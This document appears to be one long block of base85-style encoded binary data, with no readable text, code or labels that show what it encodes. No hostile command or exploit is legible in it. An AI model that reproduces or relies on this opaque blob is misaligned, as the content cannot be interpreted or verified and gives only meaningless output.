zH>)#=2l$@jxxL<9ugC#L(i265-xz}-=ng4&-z-osKX~PPT&i8SeYy9E|GbY1CSAxc z`YS8{Xj=IwIUip{ms1$fcUHWh!^CGu#_M_b;W!u)ihwN9u9*P+5+GUA{Kjvw*jaC_ zK03XMrYUCg=yOdGT5CIB&c09`K?IipPkxnk^u(yt7Aq`kPQ?qOfTg0L2@>?N70w;E z-|SNq6%!l$lLcMz8a=2Px5xv`X1!@IWo2c}KNg06+XD59+z|YS$#jTFqBV?IxK*&93faJwv|M>BKqM^9V|zd5Bh+^7t_U- zZp+OKk6G#=rjPY@XK*>&56MZXTKib+w^Zc}Y)e{zgk%3YEmBvzSSs5QU zZ~-hf40Ptb<@;cNzw(k2COj6MKE9LYqdf;`{WUMI+wpdaEDJz~LkBh0myT7&ak0X1 z@tH3M4-A`m>C&KC$dbipa`dwn%hOHlEZ=-F%Q z70w*8R5yCm!3Z->s|0isrbb*NLrnmYn)N97O(r zXy>@>GCN+qQ!`bl7!PPk2_Eb<_G_ZFa_KK^zjzube_ROYq%Ssw%cY{pcfJJZDkx|s z>VZgi`t>8<-kx76?DVg@Qpt6tW-H4r{O{m!#Lba!pXY4Uq??$$)ROo{^W08W{s*DP zR2uhInGTw9+Ae(`w_t)k0j6fpL3x|r;SKrz1d2^|Y9wIxO`9Zshy!SPhv%o0BN00po zz;>wy1W-;JU_#fv-nbXt^>D6zy*ncOBxR6|wS7CyOGF7j)*Y@0<+Kn19^p4Zy1g?L}Q0nGDXp!i>cC%S%*E&$XWY=cEbF*=`0 zMsZ05fx7@v@5bqhA(~7Gm>1zi59ur?2Z6;+OgI3yS~Mg&BP=4O{B2vSWUk@TkAg5X zMINXX#}pg&lngJ@i4SSSn<{ll59H9)0^GtPuj%%-YaVX!sea*mBx}2f4+VKOh!6VxEIYtdK75KFXRId1|do{)r&{` zH>y*DzO7TwKj5IWUfT%A1i&8ocSix)t5L^onWPJWn(0qe%m%<1L4*{$qhYio!oIskVhFy!Q`HU1Mc<=m>RiMErJ>}XU(Y-9&rH-Xw0=? zQ13dFx}^Z#8!|HLD}y7s5D4ag>X%fd0y%*q)ndtI&#SP=l3=ysL1dz9y=IUt#r-?q z_mF|m29_q__{{2=exOZsiTz^|L{_s;{TXg6nnj$yfByzX7#IMmCqU_lr^)ahm{r*X z{8XcjV3*4SKc|MyAY9e8pfK#dS`)yV2`j-18n>XP=Kd}jMFb4q96Q{?rv(D4&iCM8 zqiU@N`!%?ok&G?K<2_Gu!e=eZqS2=&=c6@_{&IR0pm41M*7O(=n)B{hSZa+Gwh5A` z1Pwbo8YszOYw)9kl;3TZO&d<`2hAj441?Pr2*H13Ucl=*Ha&gl3)iwvk*o4ASpOxb4YN@tA;b)bBW*_+aD~nR4aumPP}^Tk+0M#4H8aO~aCsp1g<{4};f7 z`7!jUC~TM{*kT82Hlc-T!*<_)^qUv~HYlk>U(DcE08F_HmVIu)bd~K9VTYrnQa}|I z?f7eTrdJ4;=D-vSHEkxN!;A+oo%4opYG*51f9fa|H>-pv|AjjA2xfO8KTY1oMqnL81Edft5M@xmh#q%m32r|q?) zQng>Qgz|tIdV7D;)*VRx0*dA($+;ljPQRs-9)O?$Y8)_hq_@4Xf92VFf6VuS$+<3C zxBD?i6ZqO$-CF-f1u%gCtvC`GG4X&$$n&;JDb{=5R+>O_QC0Q0xFP^_>yIuAgQ}Ly zQ3twFk1E!j)!v}0adGhJJm{h`WOg}pI;|`ZHM-#p9BDmbGxx%rVUH4&%wVja*NT@-G)yJ|SPZVHW#Zr>|$?<^gz z+q5yMp&y0F6~w=f?|F3!Ez9`xb+OEmfIlPY)$=hOfGCrgwZjpAHU}_m1Fa2Q>3&8@ z>U(1dAR|O3uLik{1%Ps~U9KQnEc4oRcXo!Lp9B2sgV`ax(Z+g$Y zLw9#~oXz{K<68Xj2gA&>_Z?SFq5T>K&%8-Lt&J_?C z*xW_x3dgcLV=v>rQXoZ12otf|VOgWp>ceX<{2Ht<41{3trvMK-=MJC67>Qo9uIl^K zRkts1;#eget3d|_&^+E9wNNX)*>~Xv+~@pLTW3@@QyLJERes$weV(qB%E#4o!E{SO zk-WSd*VZ8Q;+z)%iV7G7li%l_qeuknryHDKzx}}e=Gq5fET41p@;DvV(TGK!zKO=u>jwA5?FjOjhK)=uflP@(yUnsjHC5dL zGrlUE6t07pRLTKZI^TqY<(T{5HhjblkjMMW$IPg+8PidOA@_(vio&3cpCuj_@gtNQ$|2xcYD z)mqQ1C7Cp~mcOJl8ACnwT~*b#OS+1-4+!G0SW~_ ze{!BUO5ViY_GJBQ#K#4B2M34ntD>JYiG@vJswEq}MA$h{ur3YP&U+xjK)78CY!+@Y z9dx){4p(pH0BvJ3?kJ(OBMTj0N`?XYM~VMG9M}wX!A89?2bdn2mQz3NPuHo>J$NH> zk59ypejkUz&)fIv!(cJqe*fb5HUW-++hwKe#0dY|)wgZrGhYi=dCTMQ(+u~~F-^oD z)TPFvg3NPWKQxb5vguCwuflSOUA!(lOT$R8bU#oT3d4(jQJ{XI8WDy}MX&=QJBN{! zINHd}Y-n5}qQpm{4*I#g2;Cr`fj}1atv5f9u(FPHLP!r=X#C&73xbl5ooObi?rzjE zm=BRFt)T){(dA%X5U3ufaMXYL6&Gu3H8|~bTpn<%SD7BDw5Ft_VE_10Cpvc0;j%A3>;ZXBKS3(1UFl7Jpjcq;Y=`9EUv!>*Nr;tz=P^2Ubq*GHyL zcnB!?5)i?aU#0xydhpJQE-)5=f)+;}{_UGF zkQfl~-CTD{t-_AhF8N8f^iodn2>{}aPUB}pC=D?U&6CZG7cam)eU=&K7iMjil(%&B z_97}=gQws0IP2Duet}y+PM##T@6rf)tVQXutT}aUBmjlK(e+??rBDvw5f*)}Rt?>gFtE>75Rde0G~L0#=nf#TsaP>gG)zoPASSwXxOaQs z-{1c!Ss5cZEX)pQQ-I!g{dgr`%A~2O86Ys<-K&zTn|CO{=gy4thAJX}OtNf#=ac#? z23qmhT&n2DJ#1& z2Y)til3p9Ows=R>Wv44tx(kG?V9|pRwd#cdP1s4#hus)Q6>yBc3>Sbk^xL;@0K6G{ zjVxhp?JXrG)i)wd%tYl^J+Xt&oh2jGVE{g)yn#I)Ufz?7vrZ@!6*Ul1Hl00BZlPg= zwh2QaCqF-RauVaODLSD13Mz7P{%N4;;XUEKi;w4k3?nCZrwxU<*K1;ZJV&%Fiz6);OKEaX2~Me`(diYqVTv?)dxri-?P(V_<+6 zWCMU$uE`(=m(#X@j0~@owDigOso~#=k$3ob9y3P(x%h3drkVWE)a7jrRyC*X9J$mI zaCdW+V2dUs)zzu&?d`##`Tg$&38ykzcU58^;wtJy;SkK~8oC>J)YG79VM!ws!{P~a z{-XzS+XED!;KD7EgXC9Ne|xw?U0z!g78K-jcXt;N5g9L0V+25>bRvbU<(tG+CoYT0 z;_uvakB)1)Bn@&4nqLEWh!pcaGJXyn;eSX?P*U@*1(YXHa@X%_;HV6v+h1UU%1xBH zgHKArfUl&RKnBEV{{D|)cmz}%3>1RKcYhvm-XMTKUqVvyyX2a>09^Os`*(t!4bB;W z&>DttPvnWm((2Qj-)y98oF6W{_Onnf8g20wM?l2|^~CAmRejq}Izco$E&}WM3ZNy@ zLJ@#)Ij3^FW~HwQKOg9%^u8fy`h`;J!wKA9sx+Em186JILZe$Xv50C=N$mP-rX=q1#Q!5}cf&0_mlfS5#Oog5A&-RYXT& z^xn-`ET#=Ky|(uA-4&4nf0R{Fx8Vwy=1m^&;Ws>EzrZRg*4sQQtB85-J6<^Sd|FSR zSIyz^4I!CRuX3sKq-+3{a5<;Z-;uJN+~sh7OE{I5&io2UmPAGK&ynSM)7X7awJY`WdG`mbfm zXQm;wrpnsCdL_<;v%7L|5KN4uK0tTKWzGHpDDTT#ZnOHrn7EuR13~MocfaAtd=Co? zt7al6hz3XKWru;v$AO&KA2ek844cBfylq@iH~SUC3aW?`7q4m6k0zAkt1BRsh%_Ba z2Q?$%)?Zt+C)PK7{Pd>q@nNLQP8nWAbc5?7d3RFspRaQ+*mQe)dxK!$2OwwO-_#Ro z3kwU(VQ~?Wy6%sZl(A#-t*Sp_W*LT>@qus*AO%2LS|1zjx#GL+#083wM>DJ~Bcq6- z@pwj=*`zreoz8p7SVFWpft;KiKd@)T+O|H(JxG+j=wlSqu9Mjo4^mk&$^; zPzInYUXI~D%rWQ;QM+)R1v*04g-^LcKbN5tG9(-v7@~@3qVb)f@6#SGWWZl290GSX zm7)uWI4JR6y%gJrISdXH z7;MVSo59F#zbZ05E{6^TN$dT#dKXJ3VAKE)ly-lns%V^35hFY-s!RVkr?|o|Am9a1 zGU)l>4*L=YoLylT7Fd|$ro?owt~VaFn6>%A?)Ewa_YDl>ioRBR0T3Ub??66)Ib6a( zhnckJH$JWew7@;vWAb`Q?=}Ifx4>^Z_a_>V@H%6j7#JAOJG!3lSHs)$9Sls&?-M&X zEM#$dzRnt7KG&QXJ;90QS28ZGY zav$cp@6!iV0kEaehX2>Cp|7%ixCs2j3EkHtpul0ccKC~2(hv-K&*U{=gLJ=uqm{P5 zZw;yfkk^72f7YM^K}3Ix_uatJ$M?8Dw!$fM-Ot{}nZVi_eGDM3w5sJN7k%_%mNuB8 zp^cB%vY`r)&UF(AT04bgfqXGr{HrFsSc+SQ|@5rDV+ zq|0ll0AtEaAnz3ckie@~;c88XK-@jn?D@IDWlvB>#=Ax5`fVF{2?okE2{9)sf&*q4pT|X2X6Z0Jrk-U#j3wLH8 zZu)0iISC0QT-=@NqtS3RJzsPMFk4ENsu~V~TO=sxkJ;5ZIM^0&bI?B=QJBvW@ogRE zuo)WC>8{EHgN&?W8cZimg&k%|f)tmuaqFvcea+!^IfDikt$D1Bfo`D5a9!f9^jc=A z(>zh2N5f3=g*}+9Atxu_*e_PZc!h+NBb~zF=HYP)KC*^0r)Sd}cW5jbEo&kwzgsAf zAdi;mY?uIw*tWR4?`e5GGmh3gQ zr5(r5qZkLri>^s|lc@-*hO4-rzlGR>#EsGL@Cr3QrbraY5lBi&k$^?NGc$^WB@(x}oco6d$QVa38OW(PaQ-U{ zxU8mjt6h=_iSobAMhJo2A6yFuy$?7zT@~C%xjql-US8g5{I=|#SNp5Kdn-A7=yK8( z8G=GKlvGUtQDuikhh~L=>Q`)zI5tMe^B_YQii)VZb9j1{;ONCDuGK-oD$5vMJX*aekeWV5H~vG2fQSVgCYty4ebm zfXl^!(qgvB9UW$bm!Hu02?n4Eiet{hF8?ArjAHq_KcATfzJS;q3K@$4<&?q3mQGp4 z{k`_T`}&CJ4^ZHc($&>Oc#GV&GFs{3%;0;!(qCbqIxIroKm2Zcp)m}dQtHOpT?gS! zoE14CgS~?JKkX65K}bF%q{31tU@BGx>FtHV)#1V}qJlI)(gy+2i6Q_1HyRNHh36Kd zHvrs;e@SC`Iy>HCk;x4W-uzluZ0~9bteIZ0qf4x zl^z%AntCP30782Ecl3MbbWI5+Fx8Or@-_&`_Uzzs~s@jxC(T# z=1nQ)5kBJ@&+0ae6bX)f&88;p@6%TYRm4bqnLMvb=Zp<%=PV|AV%798e`a=~!CgOm z_BU|NL|CrE9pky(#$EAigOP_(Qi9Ya=&6V$e>am)ncGh@>#6X%Dc=oMfCm@+d=Coc z-GZ$!9nuU42zVY?6#cKS-CW-nu?E;vjF;w8eM=j1%SN9oPWVI|;l<;OOpz$f*3{e# zys_V9GyZr1qTB|ShJj%dIBQM%6Icr6uLKgbSM^!auJ_9IJ(e6gbhhG2O*jbnR2Jp) z{OPrZ83+g;obdepFL3y@g%op4GWX^;heXY51i#b{aPVl0V2EBGE=1A|S{8OV(z8h# zf=V>+dBlqu^K?4spjm6#BhzO7UQn4cPhzeXJ;AO6q(7^QhN@z{p!=-_^uGH^H><5pQ26-d!g<7q=iWE= zC8$@!cxRD-;HJY;qhtjmJKoV%H#RGnNd6okTP%`Hc+V?}!j#l5{qXSZt299dlJoJC zt)7B}Z)9k=J0Ab`tzSj|32CBw(e#v6raI!C_i>QL#KdHMYpcp}3x&|b9HVy8gBEzC zzl+Bnrpi*ZcwLL$H-YK3?{LABfpfRg(jQ#$oUX3Pmu=7yRES(?E|vOM_RGV?e!UEB zYO55w$M8DUuP3LcKc}CNUx1_XH}&xysPKU3dJNEb0_znnv!O_7^6=xSG`olJmtc3a zW`+-{&p`m3uu;vPF0f2C^Bk_o z6R*LqzX5s;P_t7Q)i1}yNmEaDX2Op*21O6?(lo!i^Yb$zzZO0|9YDxbr+Wtj&PZBo zTl;){cP5vKz1b(YXE7ZZ3YraOole(l)vL`F3*ZbG@}va>!N6=NOtLdm{g!@@Ek|pO z120%qS;^FJ-3)!keiaSCigY@+tg`8BKgeXT6A9J9W|H&)1HgkrpIu!-nZp4RTvvyb z*e_DGNsr5CNG2*O`uD*D%XzokZvD6&8H$L2z+&}}&ZfR#M0CM*IFqvpI7+b(z2IO= z$Ojf4rb<(!UH;VcoN~@MhksR&u&{WQEf>2UN;Ej#P=fBuOB&Lw|DM8r-GI^1CZ zNYXPmch_Lk3)&Xn{qf6|r$^7L-xTkhanYdhy0UZQ1&Y!gy>G}b*2sVH)@4Akd_`yX zofS+S4qCop+B{wR-Z$93hLPvz4FSgNwOl1qwb0$?0b3BD0bqPa%@_(9G6k!53c_2% z@UXD;aLVi+)2fxNt&yO_tm^`~yx<8KrkRa|+|FCG zw%;;*o`}Mo#p`~ljegr3BiYpzMn=|_YQ}PW!8}@C4tx|0EA5K0V8hdC53VxkL;wSo zm(CwONy%5Qu^HAcpgRAuTT|jg8&Hi;Ay3`g*f1_1D(Og(UUbeno2?}CyWN!a;#MuA zt6JX#whY;>mb`5}JrA((qa8Y_G-=g7m!f?}93D4>0B@;YXZI02k$Gk>GWLwOf@na% zOLn&9E$imSL9601BfG;f{6wu)Qm6b|E8RS&UDw+3D z5N|*ZN$rOlH%(q$JYT%V=G!i!9b6V49}=Kude`~#dPSTO-vvHUoH`8`S432FZDT{$ z3Br{R;gbck1w5=GMlhJ-pQV3nUuVyW=1jpdD;A9h*7B2a&*PJqBgf`TD^w^SB65kf z=rIQv3GNtR<=-r)`HI%TvAiRvwS-n2egbZd}e$@=KN zUH9}>@0#6o|IpA%;MI~ChUoYN>*(GE3_y1bs%8{1(kd#LfbjG@)-vy656WuTWe20% z?2VBa`h;EY^})x~9#&`3BVqD>e}JH#7!4i0vlEs7Z?Pik%G#QvY?fNh^MNFP#_&9> zSjt-;@zQX2oc8`jlS?P-{??g&_3C7U^bTqN&w#Y#C%og+_f$0RIbD9$jo%==t(pGH zviHv;KE;ffSitFZm>4PXAo2#6T~;Ha;qFb9qZ*5<6)s*h7A!Qll1^Dc0r=550Fnfd z?LsdO2sjUwzDv4*TjK}v&m*F>KU|4@JH17e_G+QJ#Fp1iQ?X5z+tLI3Wt_Q(3yq+g zG2P$an=dxOgZ?9$H&!Qls+s#d0JVk{WqCw^Rh=kWEbw;-8U^+sp!}bAR2^=;)m8lI zk`dBiUq7KptadW8%msTsJAIsm24snZ!Q8O0Vwz!ANXI}(F@7WUc$sg z^L9`0>U)vW5FJ1=r4GtRZPR2g|xs;HX&jYCx z0O_nai)P%xn9H2Jw+_g{`@0fljKy%Dyw;ltD1b4ONW{8%f3<<#FV7(R7lzj$5clod z@7{L;E(fP&iUO5YqPyL76#e3{C?p&b#)GPez>orrm!T+AMS{Q9R=HUOyXI2EJ6H5O zy7~`O^~|_rij;*EwWW0@CdRMbW-)gEMH)<3tjIjAlY-WR3amd3n@42;D7?KeQosnt zWc2E5Q-x4f&4qdUkQJcN?m=zq)|p75FQ$SEz=Wm&aL<>1zejeTm#4`uZ>8KZx^P)f zX&|37@})fxAi5vfz6g6XybLTt^tQz{HP`L%cioDF^ez>&i2GS+GL%Nc&a zBJuIxD)>*yGj;v#1z+Q^sOY|(oSpT~m7ETr0q)n-_fz6dcAd5g=}}AU@-o`MfcAHt zgoFfO)T0bV(aBKJ03+2Kd^g&H0`hAQkE-Kvr~t;z(O*fjEi-1^;#y}p1H`sJz`c7`Eo3`&qqJ9n6&P<7XQafDAQ{}g=u4jV0 zQ+!_b4g~^6*ZFyEn2;rB)Bs|TW|L`kIt&1kch8eBsL9?>+`uC>H&l|^eDe8u0m=~! zEQ|c3rlU?nLz5y3@Y*Uf#N`S#M&ewgY+qfM_68|w`oEdvthYZR(c{r6*}(N^ZS_ss z%Eo)311JJ$E@0;eeM0iRquB_+v?uD7vH#dCiU?r@&C{0R@h8Hau{3JSoDTP#Q^8wF67$}JaVM_8(CE`broP zNBBz0zg7RF;o;!{o80|Qt-zLuz`C9BEU zuYN#)_76MT@b|Y9pf%A+a;*V~K$h>L`_%~R(-{c@B#XCST%*PHHJC5+K->;=;d9O* zXkFla!&)ph;c{|vzNx488;0<1j|q$CiQx%#W^Vl|bkLw=FKKJC&7{-Q1*zI7QiCb` zx3>}1wnyy{R}Y7y1rjdrp_}1_Lv;EuJXqf_#o_ zKT3qvoefdT-JQMD56^qJ=tcsNn2U&s)d|;RN5;lt|NiX}5D4#b=rsPPG{(Qya&#xh zhL>K<_V|2~n3m=HcRUP@cBopHK3acY9GXa2X?gpIo=`H}z(Do%0rJj{+`wO!@K9rv zeblsRj8d3%B9DkAuioHMOy9{&x(%gWriL`X1I1TeXfcw8NN zcQ3_vt`PI^{Ob6PPV^|zyv$^ieyoRLR!|9S72y1q4cZDkPX~(i)ni4=1M)V<$Lsx+ zy>{CQFM>sb^C>8SLW(o#mmSkskg`Li1-kXD)5+EG*_m(xnGA(8CRP|05s@C==dWV5 zWxR2ixOuhlHC9jSqwQeAnE(a6KzX9E1iEi_oO^tE3w3d#v_<*nVo2E0pv zl2360G)H>1tKUIyj2Iv%jUWLB6cl~5_jm*J?;aKob0uw?B0`I>%jMl(gUXEYy&@-W zejYzSScoYpSwUSLjtZaG0jIg$k61uak(rNA3~0o6Vz&3bo_B1o1&(b8W|tE=@BYgJ zUxRX}qEbnhM}@3f6721H1xyGt1$8f84CNW2q4iNylNGI7Bi#VTdA!O@9`x?A>qcr? z+BL8!msBv@J1ueF*e)4(Jwa(&7Oy`DhrC&7M-7)V#Y z`Qf(4e1wQm79JiB62rOYv$6v}QIT0CRRa7?UZ?#|&vt*YJi)v%?SGz}Ue{; zLICj>_xt%Xyl8~Rg<)V@*EpYWwHf15W)#q_ZRa`f(I)HfzlM#6@v<9Hj%vI(M82SI z>mj|{K3klY!b+lw0P;9y_fxHTm$^92NPtix19TKnKDH9FvZZ!5ZlPJfcq$;S;(YD2 zku6=;Rd%~ySXx?I{$mU8J^Kd-^CS~{&V9GZWr8`ab@BVts%-@qnF7GWXZ7sN7r z?CJ^x)ZjeYLHU2j)&zL%Vt`4phn+Tp&Ys2|@$Mge0Wob-Wr9%5(OpT;UJVzoTxj#{ znFnge-lvacclxvEgklm9F*n=?G?DgCPxdjGt3Txj)fkt0%T$&ceg2u(J#9Xof3-(P zJ#QfBwkaj1$R&1QIv}$`IoJ%uTuRhUb=5c`W#CEd=zM4YQ8W-#ib;Aae!= z4%gc~XAdT%dPgeTWg(7!6B!FplK`b87&MT-xn7r)0>x$d(9!Oo_At^A$&d7iEv&Ue1YAh@9AMJz^1 zhLzDUvreD>_csOIWE=StH$%NAlON`3o4_ON34nhc79HJeFsJh$k2?r*@&fDXl3}9K z9=V6Ou39f4X;cXgcGyR}lW8Cj#H!aB65EEwB-h7j*@pttRG&9Dh8@D=JYLBK$ZM3f|(bh zBv7~k!y9q6+rJ022uS&gyUeDB7IBq_S0h z+UZ?;^`=~UEyH810eWy9DiWWa7Da5?C(Yd+ud{cI8cw{{B{&{S`Chk`8Xfzfyap4T z(s+CqAOLj|4j2E*bs@cTJ<_`AK!@|c(a!oAu52w=Z{Ol3z+}HP$&@he?`3pw>rK~$ zV$S4{+cL-&*Z7fHKSCIL-WmaGTNL3#^(>BBpVE)FmSRGH*SH|J z)t*AXk#L^AWE z7sh;s1w~$7-nG6^Hsf?Jf?vC_xkT-)h+x-Fh5ha_1K+JJDvXzxSA{xVU**28Y02~Y z95KM3I>MLXKV@kGKAy^rt#W3BkWr(qL^kV*xAL}nQjrdl+*q;1eg)M?p$j2ZUbQYD z$qyh6<-{T=8Nq+iDVY#La;J7-VBr+VC`}5w*9*z*_17F!8LyG-HaN369kIZ(eo$+^ zn*BB2Fk76s{aiqU=?0_l-Lb)MDIeF&N!KO`oZNUecKkjX~+dJ;tCeV_3 zgA01*-k$VYkL)!-b;0J_{C(;7lx4R*(|xJxe_S(-+7O;blN&Rj;&8!&-*or*r8XEO zX1W=5&;|tu$3q~pd;dytne<`SdY{T?Z-Ly#Vz&B~YDv;F#|l*Y<>f>`Od#X2Hic~R zaDOi$A#pDr^|u@WC3KAldrS>tp#;W9x_{+*BS3T}1gLsIi);d5n)u^KSW(4m(?jU? zTZC#ndLTRlNe&=!2v$OZr{f#7G6-g)2ESS5-$Oqokx^CsrZiyv*Y@^8#qtV@i*uA_ zR#y!hoa*b9f)+jm4-QS~qEBr=TsiQQIvR?xo{xgb832cv95=Cn>-`Hy88%$*8!iWY zxxWcfwJD!BD!@WqvQ;=<8WtcVOlMn+3Lmyfg4UFD4F9Y6lj-^SWY6?FFe5F13hyVYy1lw3`e&iv zA|sGH;Ncic)MtqC<5lK7aX=Y^2P3`gp?3H_)l0bXTKQZi3u>U~HwNNfo~QdWkje>F z(M1m{ek)!{;1Jybk2G#EMjU71s*mLMMv#pJ$>UeBUXBEVGzEXFz}H_^e*fJ~Y~V`; z*1_J6U^DT{7R`8rb{{unlC#R!<{JlsthT5=1JoTfwAJUA0+dMmto7Pbx$N&nh@w`; zCJ%1LW~MX(`r41U(6)~{`{G^Cy0Nnx2ljSzt{Sne9x2_BTn=BKiHit`eV?SRqN>Gd z9w7+xfU@X|vK!Fe#(_h!dyy3*{{>axyM5OXzV2iOd3|>j(n)9WyL#HLSke0K zL)rD*7Cw(`gUkihL%8Z`Y2|k!ZzH_^)oftS4nNp7FL{T}+QIA>l;IP2N|$8esI5l~ zdVLC^;Gkc@=XQw#uK?D8Nra|||Bjth%^O0Vu;-V(f^1-+Le2HWtKRL6Z8xcBYRQxd zuezmK)qEqtV}|1iS=>UQ=^|4kV2Ee-$4fV2I=_#CEjVzn8~4SL5$MhK#4sSRRQba(O`hiSJg2g1#{rUb z5q+3nGKsl}#uH#Jkl_)$4W--I9@o;)PzcaoOtIo^Bnj*JNt-04X#7e`k_C5;(r92l zB)4w7C!&GNyx9ZBtfRg05ZX8B7fO|xgbXX>gtzOt%c*2akNs&Sa|`(e98fF$WY2x3 z$cpa?nywZbsUn2FY=tLvt-awYx5Gnyz+}r3srG$kWQ=V*=TFms^-hqYe72HUsUGynz1knyWb?(v^Y&_63zcORR0x=CtD$p@C(Z2 z;N-u}{g+1&92{&(s%tW-@{H>w0hlW_)gx7gLUXYdF(|z^JwOb#GKkuWyGWHkM0`}5 z7>UXOxAGI=Oq&1tUznMw^4NH@EcYN_GfNi^jhXnqrtiepIlBG9FGnyw!afz6!@;V! zUODSzWX{W-d$A7_Kuh}FSh~&NHgR%t;`9FSx$ldgucbvr3*G~k1L(fY^p)YF2}P5K zcgllLZ5q8$gcKFX5Cf-LY{g)!Q=gl8rqWQ2y z2Raomu`3_eImcl-h3`j^U&x8Ji_;p$V&5T)j^W%R z*+Uz>}-2?z=(v`J%_ubSk1L;!yr4yjF{P5F<^`?Dvi!5egq0Z}VE z@?WzcIfNYc2TgOyf{l0y?;OF;8xhO@xG%*YK@&S^1W=qk4Y9LDRswTNXp+ph=UM3i;tSG^x1umZj`za$_w0{&q zVjur)-rWuGjR1p2u@+Mnu-*WjbO(S7Ek<)-bK>IS+6IznXIh_NK+NAdP`2p}&Pqdali>~Ka zx*@G|)0vUhcj)Lt*m{2{X=xGt04;v9Q^aaMN(`!=Y1d_Tbn%5qyftwcN2xnZY9e+VqTpsO|3zLOdTozFUWY3Fh-l*M_M4XpSJHVu7!NS8wScDr5)t$%t%1W`wd{9&)_D^5?(INf(K2Aw<)45p)O8r5l;Rd75pEvyc{Fwf^HK@*jt zktKLS^%Rwk4nX8eC<-I!585iaa`_>7Qu$XMFrolUma-|eu)~0xhv#_9*G3xd)1SpV zcN&j#NAo^&`d1_1b0lbV87p!P6RTEyqoIkQm56`@JqIBj^0n}Q&l=$dI*kYE>IOy**z8t z4r`JH7U`A909$u0JlPqXVvy9>}&;Rn{!kiGiLAXfQ}6<=E1zrjnD>Et_Z7*MArb z1-t}`z|zyL-MX)%ZOG{QDW;Ws^N=(U$+&k(kSQhieZ`$L)yki4(0Z;VkgxWj4EFThMScS1uKDI3lY3`u01JF2kQ5&>^G=21@tg z!HL9#@dO%pHb%zS7H{pZb&pJ2b8 z@nD!b;`YX7=lCvZjat@NFaC)J@xZ|7_2dlcv?^~N=DnI9)Nzd_{`4v7*Dvj>`mb}B zUubM=W`Iss7{DYC5A|om+&hy$Sff9DF8edWAw0X8($CEi+rV3tdlil#>SD|Eix6JW zNFW}Br{Ia(58%NR%0l`a*B0~Tv-u7aKrrk2K`rGOh;nkgJ~n_se*OC994PvE+`<@i zYzmc&hWD3Rv)RAS=1f_-fkd$9pXo+dMj+`VXJ=0aI)i7IH8A>j0Z$-+4amU(!HgSZ zH-U?fi_@>H1h6sBozTSi#Iw4Zo_8(4d3}9-`RGXPU}OrYGwiz`T4giXR+m>ueIxxO z5`x4?4bRydohv{oeZ6DR=_N+k54Bh$$=>q%J1GoH z6c}LmWy%;lzU15Mc`xd}Ih0;c>GtsOV9%AgzJZN~fxrKU7$igB?tlQLb*DUVE2<@%S6eRTye9PJ%B3 z5JEX$J8rrlCnW0+yM)gOqekoRilgt0IdVMTn@r9@?{dm4w@j#Bwt&|?EC`U&IvmF9 z*q?DM*5eNWyB>&>+M5ARKoB$qhlrR>kh9313iQIit!G9su(2nK6-g;%Qrpb3hx9vw zUV-kbt|Bm>hg6b8Klf*)f_rSw*=c_?Ye=hhyikP}oEX^YCKK9Ht!@XvE8ZVKDV`rJmdfbCQBO$BkWQNtaxx~viY(|D`Tp@c2R@3+ z;cRffbzTmg?<*k}lEmg$+Ol>UKGJ*2q>*^}V@+>*&cJp*sHs#}1 zbfw`;tFC5)6BMx>byS}FW6qXt8QV)q7MHE(7aEGl1xa3x(>L7xSE7;!#OFM3vVdl$ zP`AE>y3FJ?47>I07Za^7YJ|lnnT>0IG>?zjzSvD&U*pvO_^MSqXyGgL0-#K*3GZ|B zazPH;{Ja;LMy^&$M#+N@Lk|}n6;;>Z_JND^0l%G}QX+2Tlu)FpY`{C~4rq7zc;^=iL_%k~odeZDwxQ@BDZHH3ht6gl;+bqKe1f_1dCDPdk))#I2kQq&A$Hx8-rF+dRU*GgvFI z$PI>P!<)~m8)Fum8=34o)EiunL>{IY@(T;q95_vljX{EZ4+v{c1G=Z@3p)B;_*sbu zj4N3nzz|$42@vHw!owN@LSBK>zHYCq@fv`C<`ac)YnS+ffX9;AaZ`rx&KiM}v;Ij6 zx>^4PPitdiW1>Ze+v8$CMz!Q4J#S!fm;_5z<$T@(OG$y$lasjw5~ur(M8diYVwmRJ z5J$0wG8F>c^PPo^MP5(9pT%eE3GAtsBE1Fr!xB|Co5|ww5g5*T&T8wi04o)7(3x;KO`EoGRyx4jMngS06rBKW1ZYynfrNfnAUl~n$t z%+a2U%n5sYyNadCeBmdix5w4y^~oAifJ8a?;>%YkB&^&evqy++rd5?bonlwMb1wV8 z{=GP%I%+$6jZ8&Fm+J{-a5@?f2IKm-+GxVaDWyEx$&nF6Jw3hJPbxFEx)3#ycEg$q zlRX#Ja-H7f(m7yr`{|)g4(iCwUir|pwacRS5i1Mp(}d_K4GW+ zkVWnYy~7~X3ur!P%gQ1I84qMT7M>clhu9#tmdo2)NqJ&y?*f?7<&)-3fcar{D?6qB zsRaaiwV$j>R@*G#0qytOw3M7i1)%D86}@-|FVTPW8~^Ik7g0oo;8wFHFl zKJLwxC-`08+!!$73_Kk?bBUl#7#kw~(yqjf{wVg@R1yN@M}9`Gz6(OAikZ2kG)GIC!`UpH2jp zDsA`t606AF0ln>c4cpV1R|6d#B>!w@yLM}=ZmjlZ{G1*i%WQ#fF^Z2*B>B!KT8s!d z%fNkwd4quJakabic(f@;P=bY4GR145r=%27p3N9Qyu7g?IzqTGxX1E^HV7yMz{33P zU#X_fDUqnI4^5n(&_EA_6>p(A73Vm< zzcj%cBC0(Ry}qaY;X za6+qEfg4`RBaxVuk^^V16&mU?d z8-lg}@(Q%kV7pOqL z#U5Kd`Y<3A%tH?>Us7g;R2`i}F}(^{)(vp?xjR~HjIFDyLq2LXoO$hQ{mx+JkR3pa zh53{Dm#1oJ{fU%~XQ{r|D|8J`%`brg^3Vi&2=||mh^SOmI^!Qbr`tBp;-aj!BP;h6 z>@oQMpJ(t*`@9)m@Hta|XM%qPghYW34N|O7m9@2HGT0gR*0n!F8iJZaIML=f38d4y zS6%o;MS>C`5Mj{J?di2tZ4*L*Dr}ed{%%&Dj+KkUD>KsbLOODVJTA8Vf#xGDw$-o| zRI#~z7dE_j8=b~Dr&Th~D}tQCA&AwllKlKh-jBr-&*>9(jEa9|tbt$AK+qtmmz9;3 zn%gXB|2^Fk@VI(GE-+T!SG}djvZZ;y|uN->}(>FWELKtH%YU(g{LN1j?vB# z!Sc@vs-}X;8-vJe3JX`to`ZugJ#Um01krv&j3CL$$zXR01ftH)&Z_Ym>K{d8mTZ%p zX5HUFUVVQ4^*(;+kiVST1FJ=KIx+(zJZ^Nc4Migs0E<$UixS))E}+jEO7K+`M+S2) zP_mm=;C2xJ&^@CSuCJGuP_T>d*^nfiW_4IB-z^dmQTCwj#!Y#J0EWi* z;$pPM1;xVwDl#VG(G9Nfu;s4)L^n6Le;oE8z!(Vy#dPWMVG@LgM*cH 